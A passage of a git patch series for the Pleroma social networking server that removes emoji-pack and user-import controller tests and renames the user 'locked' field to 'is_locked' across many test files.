filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - new_shortcode: "blank2", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:conflict) == %{ - "error" => - "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" - } - end - - test "rewrite old emoji with force option", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank3" => "dir/blank.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png", - force: true - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png", - "blank4" => "dir_2/blank_3.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - end - - test "with empty filename", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank2", - filename: "", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(422) == %{ - "error" => "pack name, shortcode or filename cannot be empty" - } - end - - test "add file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ - shortcode: "blank3", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "remove file with empty shortcode", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "update file with not loaded pack", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:not_found) == %{ - "error" => "pack \"not_loaded\" is not found" - } - end - - test "new with shortcode as file with update", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank4", - filename: "dir/blank.png", - file: %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank4" => "dir/blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank4", - new_shortcode: "blank3", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank3" => "dir_2/blank_3.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir/") - assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") - - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") - |> json_response_and_validate_schema(200) == %{ - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - refute File.exists?("#{@emoji_path}/test_pack/dir_2/") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) - end - - test "new with shortcode from url", %{admin_conn: admin_conn} do - mock(fn - %{ - method: :get, - url: "https://test-blank/blank_url.png" - } -> - text(File.read!("#{@emoji_path}/test_pack/blank.png")) - end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank_url", - file: "https://test-blank/blank_url.png" - }) - |> json_response_and_validate_schema(200) == %{ - "blank_url" => "blank_url.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - - assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") - - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) - end - - test "new without shortcode", %{admin_conn: admin_conn} do - on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) - - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ - file: %Plug.Upload{ - filename: "shortcode.png", - path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" - } - }) - |> json_response_and_validate_schema(200) == %{ - "shortcode" => "shortcode.png", - "blank" => "blank.png", - "blank2" => "blank2.png" - } - end - - test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do - assert admin_conn - |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update non existing emoji", %{admin_conn: admin_conn} do - assert admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank3", - new_shortcode: "blank4", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) == %{ - "error" => "Emoji \"blank3\" does not exist" - } - end - - test "update with empty shortcode", %{admin_conn: admin_conn} do - assert %{ - "error" => "Missing field: new_shortcode." - } = - admin_conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ - shortcode: "blank", - new_filename: "dir_2/blank_3.png" - }) - |> json_response_and_validate_schema(:bad_request) - end - end -end diff --git a/test/web/pleroma_api/controllers/user_import_controller_test.exs b/test/web/pleroma_api/controllers/user_import_controller_test.exs deleted file mode 100644 index 433c97e81..000000000 --- a/test/web/pleroma_api/controllers/user_import_controller_test.exs +++ /dev/null @@ -1,235 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do - use Pleroma.Web.ConnCase - use Oban.Testing, repo: Pleroma.Repo - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - - import Pleroma.Factory - import Mock - - setup do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - describe "POST /api/pleroma/follow_import" do - setup do: oauth_access(["follow"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - end - - test "it imports follow lists from file", %{conn: conn} do - user2 = insert(:user) - - with_mocks([ - {File, [], - read!: fn "follow_list.txt" -> - "Account address,Show boosts\n#{user2.ap_id},true" - end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{ - "list" => %Plug.Upload{path: "follow_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2] - end - end - - test "it imports new-style mastodon follow lists", %{conn: conn} do - user2 = insert(:user) - - response = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{ - "list" => "Account address,Show boosts\n#{user2.ap_id},true" - }) - |> json_response_and_validate_schema(200) - - assert response == "job started" - end - - test "requires 'follow' or 'write:follows' permissions" do - token1 = insert(:oauth_token, scopes: ["read", "write"]) - token2 = insert(:oauth_token, scopes: ["follow"]) - token3 = insert(:oauth_token, scopes: ["something"]) - another_user = insert(:user) - - for token <- [token1, token2, token3] do - conn = - build_conn() - |> put_req_header("authorization", "Bearer #{token.token}") - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) - - if token == token3 do - assert %{"error" => "Insufficient permissions: follow | write:follows."} == - json_response(conn, 403) - else - assert json_response(conn, 200) - end - end - end - - test "it imports follows with different nickname variations", %{conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - " ", - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join("\n") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/follow_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - describe "POST /api/pleroma/blocks_import" do - # Note: "follow" or "write:blocks" permission is required - setup do: oauth_access(["write:blocks"]) - - test "it returns HTTP 200", %{conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - end - - test "it imports blocks users from file", %{conn: conn} do - users = [user2, user3] = insert_list(2, :user) - - with_mocks([ - {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{ - "list" => %Plug.Upload{path: "blocks_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - test "it imports blocks with different nickname variations", %{conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - end - end - - describe "POST /api/pleroma/mutes_import" do - # Note: "follow" or "write:mutes" permission is required - setup do: oauth_access(["write:mutes"]) - - test "it returns HTTP 200", %{user: user, conn: conn} do - user2 = insert(:user) - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{"list" => "#{user2.ap_id}"}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == [user2] - assert Pleroma.User.mutes?(user, user2) - end - - test "it imports mutes users from file", %{user: user, conn: conn} do - users = [user2, user3] = insert_list(2, :user) - - with_mocks([ - {File, [], read!: fn "mutes_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} - ]) do - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{ - "list" => %Plug.Upload{path: "mutes_list.txt"} - }) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) - end - end - - test "it imports mutes with different nickname variations", %{user: user, conn: conn} do - users = [user2, user3, user4, user5, user6] = insert_list(5, :user) - - identifiers = - [ - user2.ap_id, - user3.nickname, - "@" <> user4.nickname, - user5.nickname <> "@localhost", - "@" <> user6.nickname <> "@localhost" - ] - |> Enum.join(" ") - - assert "job started" == - conn - |> put_req_header("content-type", "application/json") - |> post("/api/pleroma/mutes_import", %{"list" => identifiers}) - |> json_response_and_validate_schema(200) - - assert [{:ok, job_result}] = ObanHelpers.perform_all() - assert job_result == users - assert Enum.all?(users, &Pleroma.User.mutes?(user, &1)) - end - end -end -- cgit v1.2.3 From 9968b7efedc64d0239db5578de7fc66ff4ce894d Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 09:31:13 -0500 Subject: Change user.locked field to user.is_locked --- test/notification_test.exs | 8 ++--- test/tasks/user_test.exs | 6 ++-- test/user_test.exs | 18 +++++------ test/web/activity_pub/activity_pub_test.exs | 2 +- .../transmogrifier/accept_handling_test.exs | 4 +-- .../transmogrifier/follow_handling_test.exs | 4 +-- .../transmogrifier/reject_handling_test.exs | 4 +-- .../transmogrifier/user_update_handling_test.exs | 2 +- test/web/activity_pub/utils_test.exs | 4 +-- test/web/common_api/common_api_test.exs | 10 +++--- .../account_controller/update_credentials_test.exs | 2 +- .../controllers/account_controller_test.exs | 2 +- .../controllers/follow_request_controller_test.exs | 2 +- test/web/mastodon_api/views/account_view_test.exs | 36 +++++++++++----------- 14 files changed, 52 insertions(+), 52 deletions(-) (limited to 'test') diff --git a/test/notification_test.exs b/test/notification_test.exs index f2e0f0b0d..0e9630f28 100644 --- a/test/notification_test.exs +++ b/test/notification_test.exs @@ -346,7 +346,7 @@ defmodule Pleroma.NotificationTest do describe "follow / follow_request notifications" do test "it creates `follow` notification for approved Follow activity" do user = insert(:user) - followed_user = insert(:user, locked: false) + followed_user = insert(:user, is_locked: false) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) assert FollowingRelationship.following?(user, followed_user) @@ -361,7 +361,7 @@ defmodule Pleroma.NotificationTest do test "it creates `follow_request` notification for pending Follow activity" do user = insert(:user) - followed_user = insert(:user, locked: true) + followed_user = insert(:user, is_locked: true) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) refute FollowingRelationship.following?(user, followed_user) @@ -383,7 +383,7 @@ defmodule Pleroma.NotificationTest do test "it doesn't create a notification for follow-unfollow-follow chains" do user = insert(:user) - followed_user = insert(:user, locked: false) + followed_user = insert(:user, is_locked: false) {:ok, _, _, _activity} = CommonAPI.follow(user, followed_user) assert FollowingRelationship.following?(user, followed_user) @@ -397,7 +397,7 @@ defmodule Pleroma.NotificationTest do end test "dismisses the notification on follow request rejection" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) assert [notification] = Notification.for_user(user) diff --git a/test/tasks/user_test.exs b/test/tasks/user_test.exs index b8c423c48..09e1f472e 100644 --- a/test/tasks/user_test.exs +++ b/test/tasks/user_test.exs @@ -248,14 +248,14 @@ defmodule Mix.Tasks.Pleroma.UserTest do user = User.get_cached_by_nickname(user.nickname) assert user.is_moderator - assert user.locked + assert user.is_locked assert user.is_admin refute user.confirmation_pending end test "All statuses unset" do user = - insert(:user, locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) + insert(:user, is_locked: true, is_moderator: true, is_admin: true, confirmation_pending: true) Mix.Tasks.Pleroma.User.run([ "set", @@ -280,7 +280,7 @@ defmodule Mix.Tasks.Pleroma.UserTest do user = User.get_cached_by_nickname(user.nickname) refute user.is_moderator - refute user.locked + refute user.is_locked refute user.is_admin assert user.confirmation_pending end diff --git a/test/user_test.exs b/test/user_test.exs index d506f7047..d8ac652af 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -174,7 +174,7 @@ defmodule Pleroma.UserTest do test "returns all pending follow requests" do unlocked = insert(:user) - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) follower = insert(:user) CommonAPI.follow(follower, unlocked) @@ -187,7 +187,7 @@ defmodule Pleroma.UserTest do end test "doesn't return already accepted or duplicate follow requests" do - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) pending_follower = insert(:user) accepted_follower = insert(:user) @@ -201,7 +201,7 @@ defmodule Pleroma.UserTest do end test "doesn't return follow requests for deactivated accounts" do - locked = insert(:user, locked: true) + locked = insert(:user, is_locked: true) pending_follower = insert(:user, %{deactivated: true}) CommonAPI.follow(pending_follower, locked) @@ -211,7 +211,7 @@ defmodule Pleroma.UserTest do end test "clears follow requests when requester is blocked" do - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) follower = insert(:user) CommonAPI.follow(follower, followed) @@ -299,8 +299,8 @@ defmodule Pleroma.UserTest do end test "local users do not automatically follow local locked accounts" do - follower = insert(:user, locked: true) - followed = insert(:user, locked: true) + follower = insert(:user, is_locked: true) + followed = insert(:user, is_locked: true) {:ok, follower} = User.maybe_direct_follow(follower, followed) @@ -1360,7 +1360,7 @@ defmodule Pleroma.UserTest do follower = insert(:user) {:ok, follower} = User.follow(follower, user) - locked_user = insert(:user, name: "locked", locked: true) + locked_user = insert(:user, name: "locked", is_locked: true) {:ok, _} = User.follow(user, locked_user, :follow_pending) object = insert(:note, user: user) @@ -1450,7 +1450,7 @@ defmodule Pleroma.UserTest do note_count: 9, follower_count: 9, following_count: 9001, - locked: true, + is_locked: true, confirmation_pending: true, password_reset_pending: true, approval_pending: true, @@ -1492,7 +1492,7 @@ defmodule Pleroma.UserTest do note_count: 0, follower_count: 0, following_count: 0, - locked: false, + is_locked: false, confirmation_pending: false, password_reset_pending: false, approval_pending: false, diff --git a/test/web/activity_pub/activity_pub_test.exs b/test/web/activity_pub/activity_pub_test.exs index 804305a13..3efc0d1b4 100644 --- a/test/web/activity_pub/activity_pub_test.exs +++ b/test/web/activity_pub/activity_pub_test.exs @@ -1120,7 +1120,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do test "creates an undo activity for a pending follow request" do follower = insert(:user) - followed = insert(:user, %{locked: true}) + followed = insert(:user, %{is_locked: true}) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) {:ok, activity} = ActivityPub.unfollow(follower, followed) diff --git a/test/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/web/activity_pub/transmogrifier/accept_handling_test.exs index 77d468f5c..c6ff96f08 100644 --- a/test/web/activity_pub/transmogrifier/accept_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/accept_handling_test.exs @@ -46,7 +46,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do test "it works for incoming accepts which are referenced by IRI only" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) @@ -72,7 +72,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do test "it fails for incoming accepts which cannot be correlated" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) accept_data = File.read!("test/fixtures/mastodon-accept-activity.json") diff --git a/test/web/activity_pub/transmogrifier/follow_handling_test.exs b/test/web/activity_pub/transmogrifier/follow_handling_test.exs index 757d90941..4ef8210ad 100644 --- a/test/web/activity_pub/transmogrifier/follow_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/follow_handling_test.exs @@ -65,7 +65,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do end test "with locked accounts, it does create a Follow, but not an Accept" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) data = File.read!("test/fixtures/mastodon-follow-activity.json") @@ -188,7 +188,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.FollowHandlingTest do test "it works for incoming follows to locked account" do pending_follower = insert(:user, ap_id: "http://mastodon.example.org/users/admin") - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) data = File.read!("test/fixtures/mastodon-follow-activity.json") diff --git a/test/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/web/activity_pub/transmogrifier/reject_handling_test.exs index 7592fbe1c..5c1451def 100644 --- a/test/web/activity_pub/transmogrifier/reject_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/reject_handling_test.exs @@ -14,7 +14,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do test "it fails for incoming rejects which cannot be correlated" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) accept_data = File.read!("test/fixtures/mastodon-reject-activity.json") @@ -33,7 +33,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do test "it works for incoming rejects which are referenced by IRI only" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) {:ok, follower} = User.follow(follower, followed) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) diff --git a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs index 64636656c..7c4d16db7 100644 --- a/test/web/activity_pub/transmogrifier/user_update_handling_test.exs +++ b/test/web/activity_pub/transmogrifier/user_update_handling_test.exs @@ -154,6 +154,6 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.UserUpdateHandlingTest do {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(update_data) user = User.get_cached_by_ap_id(user.ap_id) - assert user.locked == true + assert user.is_locked == true end end diff --git a/test/web/activity_pub/utils_test.exs b/test/web/activity_pub/utils_test.exs index d50213545..be9cd7d13 100644 --- a/test/web/activity_pub/utils_test.exs +++ b/test/web/activity_pub/utils_test.exs @@ -193,7 +193,7 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do describe "update_follow_state_for_all/2" do test "updates the state of all Follow activities with the same actor and object" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) @@ -217,7 +217,7 @@ defmodule Pleroma.Web.ActivityPub.UtilsTest do describe "update_follow_state/2" do test "updates the state of the given follow activity" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) diff --git a/test/web/common_api/common_api_test.exs b/test/web/common_api/common_api_test.exs index e34f5a49b..a8e22d44f 100644 --- a/test/web/common_api/common_api_test.exs +++ b/test/web/common_api/common_api_test.exs @@ -1071,7 +1071,7 @@ defmodule Pleroma.Web.CommonAPITest do test "cancels a pending follow for a local user" do follower = insert(:user) - followed = insert(:user, locked: true) + followed = insert(:user, is_locked: true) assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = CommonAPI.follow(follower, followed) @@ -1093,7 +1093,7 @@ defmodule Pleroma.Web.CommonAPITest do test "cancels a pending follow for a remote user" do follower = insert(:user) - followed = insert(:user, locked: true, local: false, ap_enabled: true) + followed = insert(:user, is_locked: true, local: false, ap_enabled: true) assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = CommonAPI.follow(follower, followed) @@ -1116,7 +1116,7 @@ defmodule Pleroma.Web.CommonAPITest do describe "accept_follow_request/2" do test "after acceptance, it sets all existing pending follow request states to 'accept'" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) follower_two = insert(:user) @@ -1136,7 +1136,7 @@ defmodule Pleroma.Web.CommonAPITest do end test "after rejection, it sets all existing pending follow request states to 'reject'" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) follower = insert(:user) follower_two = insert(:user) @@ -1156,7 +1156,7 @@ defmodule Pleroma.Web.CommonAPITest do end test "doesn't create a following relationship if the corresponding follow request doesn't exist" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) not_follower = insert(:user) CommonAPI.accept_follow_request(not_follower, user) diff --git a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs index 2e6704726..f49dbdf4d 100644 --- a/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs +++ b/test/web/mastodon_api/controllers/account_controller/update_credentials_test.exs @@ -102,7 +102,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do end test "updates the user's locking status", %{conn: conn} do - conn = patch(conn, "/api/v1/accounts/update_credentials", %{locked: "true"}) + conn = patch(conn, "/api/v1/accounts/update_credentials", %{is_locked: "true"}) assert user_data = json_response_and_validate_schema(conn, 200) assert user_data["locked"] == true diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs index f7f1369e4..0b803b7ab 100644 --- a/test/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/web/mastodon_api/controllers/account_controller_test.exs @@ -706,7 +706,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do end test "cancelling follow request", %{conn: conn} do - %{id: other_user_id} = insert(:user, %{locked: true}) + %{id: other_user_id} = insert(:user, %{is_locked: true}) assert %{"id" => ^other_user_id, "following" => false, "requested" => true} = conn diff --git a/test/web/mastodon_api/controllers/follow_request_controller_test.exs b/test/web/mastodon_api/controllers/follow_request_controller_test.exs index 6749e0e83..a9dd7cd30 100644 --- a/test/web/mastodon_api/controllers/follow_request_controller_test.exs +++ b/test/web/mastodon_api/controllers/follow_request_controller_test.exs @@ -12,7 +12,7 @@ defmodule Pleroma.Web.MastodonAPI.FollowRequestControllerTest do describe "locked accounts" do setup do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) %{conn: conn} = oauth_access(["follow"], user: user) %{user: user, conn: conn} end diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs index a5f39b215..90b436376 100644 --- a/test/web/mastodon_api/views/account_view_test.exs +++ b/test/web/mastodon_api/views/account_view_test.exs @@ -43,7 +43,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do username: "shp", acct: user.nickname, display_name: user.name, - locked: false, + is_locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -148,7 +148,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do username: "shp", acct: user.nickname, display_name: user.name, - locked: false, + is_locked: false, created_at: "2017-08-15T15:47:06.000Z", followers_count: 3, following_count: 0, @@ -332,7 +332,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do test "represent a relationship for the user with a pending follow request" do user = insert(:user) - other_user = insert(:user, locked: true) + other_user = insert(:user, is_locked: true) {:ok, user, other_user, _} = CommonAPI.follow(user, other_user) user = User.get_cached_by_id(user.id) @@ -481,62 +481,62 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do end test "shows non-zero when follow requests are pending" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when accepting a follow request" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user) - assert %{locked: true, follow_requests_count: 0} = + assert %{is_locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "decreases when rejecting a follow request" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user) - assert %{locked: true, follow_requests_count: 1} = + assert %{is_locked: true, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user) - assert %{locked: true, follow_requests_count: 0} = + assert %{is_locked: true, follow_requests_count: 0} = AccountView.render("show.json", %{user: user, for: user}) end test "shows non-zero when historical unapproved requests are present" do - user = insert(:user, locked: true) + user = insert(:user, is_locked: true) - assert %{locked: true} = AccountView.render("show.json", %{user: user, for: user}) + assert %{is_locked: true} = AccountView.render("show.json", %{user: user, for: user}) other_user = insert(:user) {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) - {:ok, user} = User.update_and_set_cache(user, %{locked: false}) + {:ok, user} = User.update_and_set_cache(user, %{is_locked: false}) - assert %{locked: false, follow_requests_count: 1} = + assert %{is_locked: false, follow_requests_count: 1} = AccountView.render("show.json", %{user: user, for: user}) end end -- cgit v1.2.3 From 40f3cdc030536d49c80fe7318ff43cd5ba011df4 Mon Sep 17 00:00:00 2001 From: Mark Felder <feld@FreeBSD.org> Date: Tue, 13 Oct 2020 10:37:24 -0500 Subject: JPEG content_type must be image/jpeg --- test/pleroma/object_test.exs | 10 +++++----- 